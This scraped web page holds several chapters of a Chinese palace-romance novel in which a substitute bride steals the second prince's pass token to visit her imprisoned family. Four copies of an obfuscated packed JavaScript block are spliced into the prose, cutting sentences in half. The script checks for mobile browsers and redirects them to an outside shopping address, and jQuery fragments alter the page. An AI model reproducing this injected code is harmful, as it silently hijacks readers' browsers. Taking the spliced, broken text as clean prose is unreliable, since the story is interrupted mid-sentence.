话说出口,才发觉意图太过明显反惹人怀疑,纪棠明端详着他的神色,见他只是微微挑了挑眉,便斗胆继续道:“……妾身近日看闲书,对审讯一事十分有兴致,总想亲眼去瞧瞧。”
“大理寺重地,如何能随意进得?他段骁哪里有这个本事。”
段则煜嗤之以鼻,纪棠明方才还有些雀跃的心又沉了下来。
却听他道:“他是没有,可我有。持我之令,何处都去得,只是爱妃性子温良,那等血腥之地还是不要轻易去了。”
纪棠明有些意外。顾不得细想,她忙道:“妾身不怕血腥,只是……只是实在有些好奇。”
段则煜轻轻扬了扬唇角,移开了话题:“爱妃与我光顾着交谈,饭菜都要凉了,不如先用膳。”
纪棠明点了点头,思绪纷乱,拿起筷子尝了几口,却全然尝不到饭菜的滋味,满脑子都是方才那些话。
二皇子说,持他之令何处都去得,想必大理寺狱也不在话下。听他所言怕是不肯直接给了,纪棠明心急,几番思索下来,觉得还是要兵行险招。
午膳过后,段则煜便称有要事离了宫,苍兰姑姑念在今日闲暇,带了一位嬷嬷前来,说是有事要交代。
纪棠明满心都是如何偷出令牌,崇仁宫的一应事务她暂且不想接手,只准备先随意应付着,做做样子而已。
不曾想,嬷嬷的第一句话便叫纪棠明险些呛了茶。
这位嬷嬷眉眼温和敦厚,来揽月堂还带了一箱书册,纪棠明原以为是账簿一类,不过随手一翻,一片香艳场景便闯入眼帘。
纪棠明下意识将书猛地合上,脸上腾一下红了大片,苍兰姑姑和那位嬷嬷见此,只对视一眼,掩唇轻笑了两声。
“皇子妃年纪轻,但这些总归还是要学着才是。您看这第一册,图绘简单,花样却不简单,功夫深着呢……”
嬷嬷翻过那书册,一页图绘直勾勾闯入眼中,纪棠明看着那画中描述,抓着裙摆的手攥紧又松开,只觉得耳根子烫得要命。
纪棠明虽喜好看闲书,这类绘着例图的书册却是从未看过,尤其今日两位嬷嬷在场,纪棠明更是羞得无地自容。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405675|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嬷嬷说得详细,纪棠明却不敢细听,可那些字眼却还是不可遏制地传入耳朵。
“二皇子从前未有过房事,这些……还有这些,须娘娘了熟于心,主动牵动着二皇子。”
若是让她如此这般对二皇子……纪棠明不敢想,狠狠摇了摇头,把脑海里乱七八糟的画面扔了出去。
那边嬷嬷滔滔不绝,纪棠明耳根红一阵,脸颊烫一阵,好不容易熬过了时辰,苍兰嬷嬷笑道:“前几日殿下忙,加上娘娘羞涩,这圆房推迟了几天。如今娘娘有意,奴婢便去安排着。”
纪棠明听完,愣了几息,只得硬着头皮道:“劳二位嬷嬷费心了。”
纪棠明怕二位嬷嬷多留,佯装半推半就的羞涩新妇应允了几句,才将二位嬷嬷哄走。
夜晚,纪棠明躺在床上,支摘窗开了一道缝,脸上的燥意慢慢被吹散,可一闭上眼,那些香艳的画面又一个一个跳出来。
大抵是前几日折春说她不通房事一事被苍兰姑姑听去了,这才专门安排了嬷嬷来教她。
嬷嬷带来的各式书册还放在桌案上,纪棠明看着心里窘迫,本着眼不见心不烦的原则,起身将它塞到了书柜里,才算松一口气。
她本就是替嫁,从来没有留在宫里的打算,若日后救出阿爹阿娘了,她还要和离呢,自是没有学这些的必要。
至于圆房……能逃一日便逃一日吧,眼下更要紧的是如何替父亲脱罪。
纪棠明静下心来理了理思绪。
听闻近日陛下身子似乎越发不好,想必朝中上书立储的呼声越来越大。来到宫中后,她虽然没有门路过问朝中状况,却也能猜出一二。
陛下子嗣单薄,已行冠礼的皇子仅有四位,其中大皇子病重,平日里闭门不出,虽然是二皇子的胞兄,新婚之后却因身子原因还未去拜会。四皇子的母妃柳贵妃圣眷正浓,听折春说,母家又有老将军撑腰。
至于二皇子……纪棠明眼睫微垂,陷入了深思。
唯独二皇子,她难以揣摩透。市井传言,二皇子声名狼藉,不得陛下待见,可据纪棠明观察,事实却并非如此。否则,连权势滔天的四皇子都没有的通行令牌,二皇子又如何有?
次日清晨,纪棠明等的机会便来了。她听翠雪说,今日殿下去了宫外,恐怕要晚上才回来。
纪棠明闻言,面上没有什么表情,只是轻轻道了一声“知道了”。待翠雪走后,她才将霜儿唤了过来。
“表姐的嫁妆里,有没有料子极好的斗篷?”
霜儿歪着头思索了一番,点了点头:“是那件云白鹤裘,只不过是男子样式。”
纪棠明眉眼舒展开来:“那正好,省了一大笔钱。将它取出来,揉皱一些,别叫折春看见了。”
霜儿领了命,去库房里小心翼翼将斗篷捧了出来,想到要将它粗暴地对待,又是一阵心疼。望着软滑流光的绣样,霜儿狠了狠心,将它擀面似的各种揉搓,再好的料子也经不住这么造弄,一会儿便添了几道深深浅浅的痕迹。
纪棠明望见效果,弯唇一笑:“带上这件斗篷,去含章殿。”
11. 恰逢故人来
霜儿捧着放斗篷的檀盒,一路跟着纪棠明来到了含章殿。不出所料,果然在殿外被青刃青锋两个拦住了。
青刃执剑行礼:“还望娘娘见谅,殿下今日去了宫外,并不在殿中。”瞥见霜儿手中的物什,又补充道:“若是给殿下送东西,直接给我就好。”
纪棠明早有准备,含笑道:“近日天凉,我特来给殿下送斗篷,只是这料子细软昂贵,须得熏蒸一番才能挂起来,否则便会皱了,再难恢复原样。”
纪棠明敛袖抬了抬手,示意霜儿将盒子打开,霜儿揭开檀盒盖子,里面轻叠着的斗篷上已有些皱巴巴的细纹。
她佯装讶异,素手轻拂过料子,面露惋惜:“这斗篷前几日一直在风阴处挂着,不曾想,仅是这一会儿便成如此模样了。”
纪棠明视线转向青刃:“此物须隔火置香,炭饼烧红入炉,香灰盖火,上放云母片,再放龙脑合香香丸,徐徐熏蒸,慢出烟,切不可耽搁。既如此,那便劳烦二位了。”
青刃的嘴角微微抽了抽,与青锋对视一眼,冲纪棠明笑道:“我与青锋不懂这些,恐弄坏了娘娘的心意,不如娘娘与侍女一同进去处理,也好安心。”
两位侍卫让开殿门,纪棠明见计谋得逞,弯了眉眼,便带着霜儿进了寝殿内。
与她想象中不同,段则煜的寝殿装饰陈设极为简单,较她的屋子还空旷许多。
斜窗外透进几缕斑驳的日光洒在窗前桌案上,案上几只毛笔笔锋未开,似乎是从未用过。
纪棠明的目光一一扫过桌上、书柜,连不常动的边边角角也摸了个遍,倒是发现不少暗格,只是里面放的是一些零碎的小物件,并不见令牌。
视线瞥过床榻时,纪棠明心下微动,径直走了过去。她将枕头拿到一边,弯着腰将手伸进被子底下摸索,可是摸了半天什么也没摸着。
手摸索到床榻靠墙那侧的边缘时,纪棠明忽然一顿,指尖触碰到了一样物什。她踮了掂脚,伸直胳膊将它从被子里捞了出来。
是一枚荷包。
荷包通体青绿色,绣线歪歪扭扭,绯色绿色的针线交织着,纪棠明看了半天才发现绣的似乎是海棠,绣工极烂。
大抵是段则煜的哪个心上人给的。
不知为何,纪棠明一看见这枚荷包,就产生了这样的想法。她装作若无其事,又将那枚荷包塞回了原处,只当从没看见过。
像他这般年纪,又生得好相貌,有个爱而不得的心上人并不奇怪。画本子里不都是这么写的么?纪棠明并不意外。
段则煜的东西不多,寝殿甚至看不出有生活气息。纪棠明又去其他地方翻箱倒柜找了好半天,直到霜儿都熏完斗篷出来,她也没看到令牌放在了何处。
霜儿见状,也环视了一圈,猜测道:“会不会是二皇子带在身上?”
纪棠明沉思片刻,缓缓点了点头。
霜儿放下斗篷,坐在了她旁边:“主子,也莫要太过担心了。大理寺那边有尚书府帮扶着,如今又还未定罪,老爷夫人他们肯定会没事的。”
纪棠明摇了摇头:“姨母嘴上说着帮忙,却从来不主动捎信给我。祖母每年这时都会犯腿病,若是他们真心想帮忙,了解狱中境况便知祖母疾病缠身。他们若替祖母请了大夫,哪里有帮忙还瞒着我的道理?”
霜儿听闻,神情也耷拉了下来,觉得有道理。小小姐才那般大,想必也受不了狱中苦寒。
眼下气候寒冷,祖母挨得了一周,却挨不了一个月。纪棠明前些日子发高热,昏昏沉沉耽搁了好些日子,如今不能再拖了。
纪棠明才起身,偶然瞥见内室西侧立柜下摆着一柄寒剑,剑身泛着凌冽的青光,耀耀夺目,吸引了她的视线。
霜儿抱着斗篷去熨烫熏蒸,纪棠明走到架子前端详着这柄剑,心下生疑。
二皇子并不会武功,为何会在屋子如此惹眼的位置放一柄剑?
纪棠明不懂兵器,瞧不出这柄剑锋芒如何,端详半天也没看出个所以然,本不欲在上面费心思,转身离开时脑海中却有一个画面一闪而过。
那天抵着她的剑与桌案上这柄剑渐渐重叠,纪棠明脑中嗡地一声,忽然乱了呼吸,心下有一个猜测渐渐分明。
可惜那日她并未看清那柄剑是何模样,不好笃定。若接她出去那人是二皇子,他的左手掌心关节处定然是没有茧的。
若真是二皇子,莫非他……其实一直都知道自己的身份?纪棠明的心狂跳起来,胸中似有热流上涌。
纪棠明等不到段则煜回宫,当即决定去寻他,好解了心中疑虑。
出了寝殿,纪棠明向青刃与青锋打问二皇子的去向,两个侍卫却相视一眼,支支吾吾似有难言之隐。
“我有重要的事要找殿下,他究竟去了何处?”
“文渊阁。”
“演武场。”
二人几乎同时脱口而出,话音刚落,才发觉所说不一致,诧异地盯着对方。
青刃看了青锋一眼,有些窘迫地摸了摸鼻子:“娘娘恕罪,兴许是我记错了。往日这个时候,殿下都是去文渊阁,若不在文渊阁……便是在长乐坊的花楼。”
纪棠明心下了然,却没有去文渊阁,而是径直去了花楼。
待她走后,青锋抬脚狠狠踹了青刃一脚。
“主子平日里不是去文渊阁,而是去演武场的事,怎可让别人知道?”
青刃捂着墙,吃痛道:“皇子妃也是别人?!你不知道收着点力……”
……
马车辘辘停在了雕梁画栋的花楼前。
檐角系着银铃的小楼彩绸满天,好不气派,此地连空气中都弥漫着一股胭脂香气,楼内莺声燕语,歌舞不停。纪棠明不必问,便知此地是作何用处的。
霜儿第一次来到这种场所,一时站在门口看愣了神,回过神才惊觉主子已然走远,忙提裙匆匆追了上去。
门口未见来客,只有一位迎客的姑娘。姑娘生得花容玉貌,见纪棠明来,盈盈一礼:“敢问娘子名讳?”
纪棠明没怎么想便脱口而出:“明玉。”
迎上霜儿隐含笑意的目光,纪棠明偏过头,淡定道:“冰清玉洁的玉。”
那姑娘记下名字,眉眼含笑,打量了她一番。从未听过京中有姓明的勋贵人家,见纪棠明今日穿着素雅,发钗也只带了一只,瞧着不像什么大富大贵人家,便道:“照例来说我家不接待寻常平民,可有贵重物件抵押?”
纪棠明今日出门得急,身上没有带钱两玉佩,沉思片刻,便取下了头上那支簪水月珠的发钗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405676|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
递给了她。
拿近了细看来才发现这并非普通的钗子,那姑娘面露慌张,连忙颔首行礼:“奴婢方才失礼了,花楼的规矩便是如此,还望小姐海涵。小姐这边请。”
纪棠明也愣住了,悬在空中的手顿了几息,又将发钗戴了回去。
她从前不知什么是水月珠,如今看来这发钗远比她料想中还要贵重。
二人随着带头的姑娘往里走,楼门已是修得气势恢宏,没想到入门便是玉石铺地,楠木穹顶高悬。
三人绕过层层轻薄纱幔,每迈一步,内里泉水漱石般悦耳的歌声便清晰一分,走至深处,才见宽阔厅堂中央有一雕栏花台,几位身形婀娜的女子在台上扭动着柳腰,底下宾客无一不高声喝彩。
领着她们进来的姑娘将她带至内堂便福礼告退,纪棠明环视内堂,堂中围绕花台摆着无数沉香桌椅,壁上挂名人字画,处处点缀珠玉,一派歌舞升平的繁华气象。
端着各色珍馐的姑娘们蒙着面依次上菜,只露一双盈盈含水的美眸示人,反而平添几分神秘。
纪棠明寻了处僻静的角落落座,随手拉住了身旁路过的侍女:“敢问今日可有什么贵客来?”
侍女眸中含笑,道:“小娘子许是第一次来,到我们这的贵客,没有以真名示人的。不知小娘子想找谁?”
纪棠明想了想,描述道:“是位公子,弱冠年岁,模样……生得丰神俊朗,大抵常穿浅色衣裳。”
那侍女轻笑了两声:“合您描述的公子,我们这里有两位,恰好二位今日同在雅间。喏,就是那里。”
侍女素手一抬,指了指二楼南侧那间被屏风掩着的雅座。
纪棠明道了声谢,让霜儿留在此处等着她,她寻了上楼的路去。
一路上,纪棠明悄悄打量着此地。虽是听曲赏舞的场所,这里却只接待豪门显贵,来往的宾客人不算多,皆衣着不凡。
她沿着楼阁到了方才那侍女所指的雅间门口,从这里往下看,花台一览无余,视野极好,恰是最适合赏舞的地方。
屏风后隐隐传来古琴声,琴音铮铮,颇有万军压城兵器相鸣之势。与这处处充满柔情蜜意的花楼着实不般配,纪棠明不禁挑了挑眉。
她站在门口斟酌言辞,终了,还是镇定心神,还是决定直接进去。
刚迈出一步,便被旁边从屏风后绕出来的两位侍女拦住了。
“雅间不许闲杂人等闯入,敢问姑娘有何贵干?”
“来寻一个人。”纪棠明平复呼吸,尽量让自己看起来游刃有余一些。
“叫何姓名?可有信物?”
纪棠明顿了顿,她不知段则煜在此处的化名是什么,只得斟酌道:“……不知。但那位公子认得我,可否让我进去看一眼?”
其中一位侍女嗤笑道:“我们这里,想见那位贵人的女子可不少。姑娘请回吧。”
纪棠明咬着唇,盯了那道屏风一会,才不甘地迈开了腿,欲另寻他法。
若是不问清楚,她今夜怕是要睡不着了。
还未走出几步,身后忽而传来一道熟悉的声音唤住了她,那声音略带疑惑和试探:
“……你怎会在此?”
纪棠明猛然回头,闯入眼帘的,却是一位出乎意料的故人。
12. 她摸我
“梁永?”
纪棠明看着眼前那张熟悉的脸,惊得说不出话来。
那人一身青色素衫,相貌儒雅随和,冲纪棠明比了个噤声的手势,拉着她拐进了旁边空着的雅间。
梁永神情很是急切,仿佛纪棠明很不该出现在此处,见四下无人,他扶着纪棠明的肩膀,匆匆道:“你为何会在此?”
纪棠明反应过来,想起梁永应当还不知道她被接出狱替嫁的事,斟酌半天觉得有些难以开口,只道:“是姨母肖夫人换我出来的,他们……需要我帮一个忙。”
梁永闻言,紧蹙的眉头才舒展开来。
“那你为何在京都?梁伯伯可有收到小风传来的信物?”不等他回应,纪棠明连忙问道。
梁永是父亲在江州的同僚——梁伯伯之子,前日在狱中叫小风捎信物,便是送去给这家人。
“小风送来的竹哨我们已经收下了,是此家父才命我速速赶来京都寻你。你可有受伤?身子怎么样?”
纪棠明闻言松了一口气,眼睫微垂:“我无碍。倒是父亲那边……父亲是冤枉的,如今除了梁伯伯,无人能证明父亲清白。”
梁永看着纪棠明,坚定道:“阿明放心,家父已经在着手准备了,一切交给我们,你安心就好。”
纪棠明仰头望着他清俊的面庞,郑重点了点头:“你我一同长大,我自是信你的。”
半晌,纪棠明意识到奇怪之处,又道:“既是来寻我,你又为何会在花楼?”
梁永是个书生,面皮薄,闻言红了脸:“……此事说来话长,还望阿明莫要笑话我。”
“也就是前几日的事,那时消息还在封锁,我们不知纪伯伯竟遭此劫难,直到小风寻来我家,上面系着你的竹哨,才发觉势头不对。家夫多方打听,才知你们竟已被押送入狱。”
“恰有位京中的官员暗里招纳江州贤士,我有些门路得知此事,猜测大抵是负责江州水患的官员,想着能率先了解境况,这才自荐来京。今日便是与他约谈之日,只是不知为何要约在这花楼,我才到门口,便瞧见你了。”
梁永顿了顿,神情复杂地盯着纪棠明:“此事背后有一干人在推波助澜,救出纪伯伯恐怕不容易。明妹妹,我们大抵没有多少时间了,听闻大理寺卿已理了堂证,随时可以定罪。”
他说此话的目的并非有意让纪棠明担忧,只是形势严峻,他怕到时会事与愿违。提前说出来,好叫她有个心理准备。
岂料纪棠明闻此,极为冷静:“原是如此,可否带我进去?”
她早已做好了破釜沉舟的打算,哪怕有一丝希望也得去争。
梁永却愧疚地摇了摇头:“来之前那头接线的人特意叮嘱我,只准孤身前来。不过……我倒是有个法子,或许可行。”
……
隔壁雅间坐着的段则煜一手搭在膝上,漫不经心地把玩着玉盏,直到一名侍女从屏后绕过来,恭敬禀告道:“公子,您说的人来了。”
段则煜摆摆手让她退下,眸底笑意愈深。
他盯着屏后人影,朗声道:“既然到了,何不进来?”
梁永闻言,便不再遮掩,敛了敛袖子,从屏后拾步而来。见主位上那人相貌如此年轻后,不由得一愣。
他压下心思,略往后退了一步,俯身行礼:“草民梁永,参见大人。”
“嗯。”
段则煜斜倚在垫子上,一条腿支起来,右手还闲闲地搭在膝盖上,散漫不羁,怎么看都是个不中用的纨绔。
梁永默默往房间四周望了望,并不见还有其他人,便犹豫道:“那位负责江州水患的大人何时到?”
段则煜从鼻孔里哼出一声笑:“此人就在你面前。”
梁永心下一惊,连忙伏地请罪,他道一声“无妨”,这才战战兢兢地爬起来,重新打量起面前这个人。
他的衣着华贵不凡,赭红色祥纹衣袍衬得他肤色瓷白,往上看,一双微微上挑的眉眼却深邃,叫人难以洞察其心思。
梁永对朝中事务的了解全部来自于父亲所述,面前这个人与他年纪相仿,必不可能是某位大臣。看他虽然散漫,但能负责江州水患一事,其身份定然不小。
梁永思来想去,觉得大抵是燕皇后母家的哪位小辈,被推到陛下面前露个面罢了。
“坐罢。”
梁永正了正神色,依言坐下。
“今日找你来,是想问些问题。”
“大人请讲,草民知无不言。”
段则煜眸色幽深,抬眼望着他:“你今年年方几何、可有婚配?”
梁永诧异地望着他,如实答道:“草民今岁满二十一,未有婚配。”
段则煜的指节一下下敲击着桌面,节奏不急不缓:“是该成亲了。喜欢哪家姑娘?”
梁永被他这番话问得摸不着头脑,他本以为今日来此是探讨江州一事,谁知此人句句不离婚配,实在是欺辱人至深。
果真是不问朝事的纨绔子弟,简直耽误他的时辰。
梁永本欲搪塞过去,话到嘴边,脑海中忽然浮现出了纪棠明的脸。
梁家与纪家是故交,他与纪棠明也是自幼一起长大的青梅竹马,若说他对纪棠明毫无念想,是绝不可能的,于是梁永迟疑了。
“听闻你和纪家千金关系不错。”
段则煜语调轻漫,却让梁永没由来感受到一股寒意。
雅间日光不算明亮,段则煜背身坐在阴影里,神色晦暗不明。
梁永犹豫道:“我与明妹妹的确关系不错,不过也只是自幼一起长大、了解得多一些罢了。”
那头段则煜久久不出声。他攥紧的指节泛着青白,力度渐大,连带着桌案都有些微微摇晃。
偏那边的梁永毫无察觉,一聊到此话题就像打开了话匣子,继续喋喋不休道:“……纪伯伯曾经倒是有意将明妹妹许给我,只是我尚未考取功名,此事便耽搁了些日子。若以后考取功名,我……”
啪嚓——
段则煜桌案上的茶盏应声而碎,清脆的响动让梁永吓了一跳。
他循声望去,只见段则煜右手死死攥着杯子,碎掉的瓷片横扎进了手里都像是未曾察觉,仍由鲜血汩汩往外冒。
“快,快叫大夫。”
梁永一向怕见血,见此场景已是慌了神。
段则煜倒是淡定,不耐烦地甩了甩手上的血,拿手帕随意缠了几圈,便算包扎。
“无碍,方才没收住力。来人,把这没用的东西给我丢出去。”
梁永愣了一瞬,才惊觉对方说的并不是他,而是瓷片,忙给进来的侍女们让开了一条道。
“聊了许久,我有些乏了,还是先用膳吧。”
段则煜一抬手,便有一群如花似玉的侍女端着备好的珍馐上来,随后,奏乐欢舞的歌女舞女站满了雅间。
梁永来之前特意整理了江州水志卷宗,本要就水患议事与朝廷命官酣畅淋漓探讨一番,谁知竟遇上这么一个不关心朝政的纨绔,他心里焦急,对脱罪更是没底。
如此,他可如何向明妹妹交代。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405677|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见段则煜方才不知被哪句话激怒了,此刻神色不悦,他只得悻悻住了口,另寻机会奏明此事。
伴随着丝竹声悠悠而起,舞女们踏着窈窕的步伐随鼓点舞动,个个都是一顶一的绝美,段则煜兴致缺缺,懒得看她们一眼。
桌上摆了鲜嫩的鱼脍,香葱过了油,味道闻着诱人,段则煜欲伸筷,却被一双纤纤玉手扶住了。
他不悦地蹙了蹙眉,撂下筷子正要发作,视线对上那双美眸,却足足愣了几息。
熟悉的香甜气息传来,哪怕蒙着面纱,段则煜也认得出她,不由得慌了神。
今日将梁永约在花楼,本是为了坐实他风流的名字,好方便日后行事,如今纪棠明也寻了过来,误会了他可如何是好?
他一时百口莫辩,谁知纪棠明动作主动大胆,拉过他的手就趁势躺在了他怀里,手指还不安分地在他腰间摩挲游走。
她一袭红裙,身影窈窕,尤其是那双施了粉黛的美眸,盈盈含水似能勾人魂魄。
段则煜未预料到这突如其来的举动,耳根“腾”地一路红到了脖子。明明是幻想过无数次的场景,此刻他却呆若木鸡,任由她摸过自己的身体。
胸腔有熊熊烈火被点燃,从心口烧至五脏六腑,愈来愈凶,简直要压制不住。这感觉犹如触电一般,酥酥麻麻,却让人上瘾。
她的手宛如游蛇,略过小腹时,段则煜的喉间不由得发出一声极浅的闷哼。
他僵着身子,面上是不正常的红晕,纪棠明像是没有察觉,一心假借奔放舞女的身份搜寻着他身上的每一处,或许是带着面纱不怕丢人,她手摸过的地方分外大胆。
纪棠明沿着他的腰带翻了个遍,连领袍袖口都翻过了,都没有令牌。
不在身上。可是还能在哪?
纪棠明心下暗道不妙,只想尽快脱身,却发觉手腕被他牢牢钳制住了,挣脱不开。
段则煜眼尾泛红,似是在忍耐着什么,牙关紧咬,只紧紧地盯着她,好似一下秒便要饿狼扑食。
但是他没有。
段则煜只是环着她的腰身,握住了她的手腕。
“……在找这个?”
少年嗓音微微发颤,呼吸有些错乱,另一只手拿出了一枚模样小巧的玉佩。
样子与四皇子那枚所差不多,只是这枚颜色偏白,且上面刻着一颗“煜”字。
纪棠明怔了一瞬,想要伸手去夺,奈何却无论如何都挣不开他的手。
梁永望见此情此景,心下更是愤懑,都什么时候了竟还在这里沉溺美色?有辱斯文!他在旁边看也不是,劝也不是,只能眼睁睁瞧着那人将头埋在女子颈间。
等等,这女子怎么好似有点眼熟?
梁永之前从未见过此等场景,也红了脸,只往那女子脸上瞄了一眼便赶忙移开了视线,连连念叨非礼勿视。
那头段则煜不禁将头埋在她颈肩,贪婪地吸着属于她的那股特有香气。她的肌肤绵滑柔软,不禁让他醉了神,想要贴得更近。
纪棠明双手手腕被他捏住,动弹不得,此刻又羞又恼,却不敢开口骂人暴露自己的声音。
直到感受到怀中人微微的颤抖,段则煜才猛然回过神,从她怀中抽离了出来。
一瞬间不安与内疚席卷心绪,段则煜不知为何今日会如此失控,还未等他反应,纪棠明已借他方才松懈,眼疾手快夺过玉牌消失在了雅间。
段则煜丢了魂一般呆在原地,面上露出了罕有的不知所措。
方才是不是他太冒犯、惹了她不高兴?
13. 狱中探亲
“主、主子?”
霜儿瞧见她一身舞女打扮,妆容厚重艳丽,一张白皙脸庞画得五颜六色,险些没认出来。
纪棠明手里攥着令牌,气喘吁吁跑下来,来不及解释,拉起霜儿的手就不由分说往外跑。
两个人横冲直撞,路过的侍女默契地给她们让出了一条道,背后议论纷纷:“这便是辞雪公子的贵客?好生古怪。”
“哪里是贵客,分明是她自己闯进去的。也是今日公子心情好,否则哪个邀宠的女子不是被直接扔出去?”
话音刚落,凑在一起叽叽喳喳的侍女们便望着纪棠明的背影慨叹地点了点头。
那头雅间里,段则煜冷着脸,给梁永撂下一枚信物便出去了。
梁永顾不得考虑他当幕僚一事到底成没成,满脑子忧心纪棠明那边如何,赶忙跑到灶房里一瞧,竟是一个人也没有。
方才他还叫纪棠明混到灶房里守着,趁机下迷药,他再借机找找令牌,看那贵人的样子,还以为她错下了椿|药。
梁永心急如焚,正欲出去喊人,腿刚一迈出门便一拍脑袋:小风不是还在他手里吗?它定能寻到明妹妹落脚何处。
想到此处,梁永便不在花楼里耽搁了,叫了辆牛车赶回京中住处。
……
纪棠明来之前便叫霜儿在花楼附近的偏僻处备好了马车,待二人落座,车夫一挥鞭,即刻前行。
车夫的声音从外面传来:“小姐,您是要上哪儿?”
“……大理寺。”
纪棠明将通行玉牌紧紧攥在手里,气还未喘匀,忽而又想起什么,紧张道:“霜儿,可有帕子?还有更换的衣物。”
霜儿怔了一瞬便立即会意,可不能叫老爷夫人还有老夫人瞧见主子这般模样,他们定是要担心的。
眼下在马车上没办法梳洗,霜儿只能拿帕子替纪棠明擦了擦面上厚重的浮粉。
她一边擦一边暗暗感叹,主子底子好,唇红齿白,清水出芙蓉,今日这艳丽的妆固然好看,可总像画蛇添足,反而没了原本的清丽。眼下擦了一擦,瞧着总比方才好了些。
纪棠明身上穿的是花楼姑娘的红色舞裙,她自个儿的衣裳还在花楼放着,思来想去,二人只得暂时互换了衣服。
想到待会就要见到祖母、阿爹阿娘和荣儿,纪棠明心里焦急,恨不得马车再快一些。
长乐坊离大理寺约摸一个时辰的路,主仆二人忧心忡忡,觉得这路好似走了一整天那么长。
纪棠明今日并非临时起意偷出令牌,原本她准备了一套借用令牌的说辞,自她得知梁永口中负责江州水患的钦点“大臣”竟是段则煜后,她便觉得他这次有意在她面前提及通行令牌,或许也是蓄谋为之。
至于右手掌心的茧……方才她摸向他的手时,才发现他的右手竟好巧不巧受了伤。
“小姐,到大理寺了。”
纪棠明闻言敛了心思,冲霜儿点点头,独自攥着令牌下了马车。
大理寺重兵把守,守卫不比宫里的少。见马车上下来一个衣着朴素的女子,门口佩剑的守卫不耐烦道:“若去菜市,巷子尽头右转到民安坊去。”
纪棠明仅与他对视一眼便垂下了头,心下不免慌乱,生怕被大理寺的人认出来。转念一想,今日她与那日入狱已是两般模样,应当无人看得出。
想到这儿,她上前从袖口拿出了那枚令牌交由他查验,视线不敢上移。与她想象中不同,这守卫见此竟并未细问,而是干脆地让出了路。
看来二皇子所言确实不假。
她小心收下令牌,道了句谢。一路穿过大堂,周遭巡逻守卫都未再看她一眼。
牢房越往里,气味便越难闻,有一股淡淡的血腥气混着污泥味,纪棠明不禁皱了皱眉,掩着鼻子加快了脚步。
她寻着记忆绕过走廊,数着南侧第四个过道,沿着两侧牢房中间的路走了一炷香的功夫,总算到了最里的那间。
纪棠明脚步放得很轻,心怦怦直跳。
牢房里面很安静,纪棠明出现在门外时,纪廷修与夫人结结实实吓了一跳。
“明儿!”
二人扑在门边,眉眼中是掩盖不了的喜出望外。
纪棠明鼻子一酸,扒在铁栏上看着阿爹阿娘,喉咙梗着一句话也说不出,哭成了泪人。
阿爹阿娘容颜像是突然间年老了十岁,身上穿着灰扑扑的囚服,已是有半月未梳洗,活像个乞丐。可想这几日在狱中受了什么苦。
纪廷修和肖怜透过铁窗捏了捏纪棠明的手,一家人憋了数日的眼泪再也收不住。
“明儿,你怎么来的?他们没有为难你吧?”
纪棠明拿袖子拭了拭脸上的泪痕,使劲摇了摇头:“我没事,倒是阿爹阿娘你们,近日身子可好?牢中可少了吃食?”
“我们无碍,牢中有人照拂着,吃食丰盛。只是祖母癔症愈发严重,怕是要赶快寻大夫来。”
纪棠明望了一眼牢房,一个身量与她相像的女子抱着荣儿缩成一团睡着了,大抵是姨母口中来替她的人。祖母倚在墙上,双目无神,脸上泛着不正常的红晕,口中还不知念念有词着什么。
“祖母,祖母!”
纪棠明唤了两声,老太太像是没听到,依旧直直盯着地上的草堆。
从前人人见了祖母都说纪家老太太精神气好,平日里还能给纪棠明和纪荣绣几方帕子,纪廷修政事上的难题都能指点一二。
如今看了祖母这般样子,纪棠明心里说不出的难受。
“阿爹阿娘宽心,我定会替祖母寻了大夫来,你们且等几日。”
肖怜忧心忡忡地点了点头,替纪棠明将一缕碎发别至耳后,又拿手蹭了蹭她眼角的泪:“明儿清瘦了不少。近日住在尚书府,他们待你如何?”
纪棠明还未来及回答,一旁的纪廷修赶紧补充道:“若是苛待你,或是要挟你做什么事,你大可甩他们脸色,不干便是,不必担心我们这边,一个尚书府还能遮天蔽日不成。”
纪棠明才止住的眼泪又如断线的珠子一般,她心里难受,若是阿爹阿娘知道她早已替人做了新妇,不知要痛心成什么样。
她咽下泪,将替嫁一事暂且瞒了下来,只点了点头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405678|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
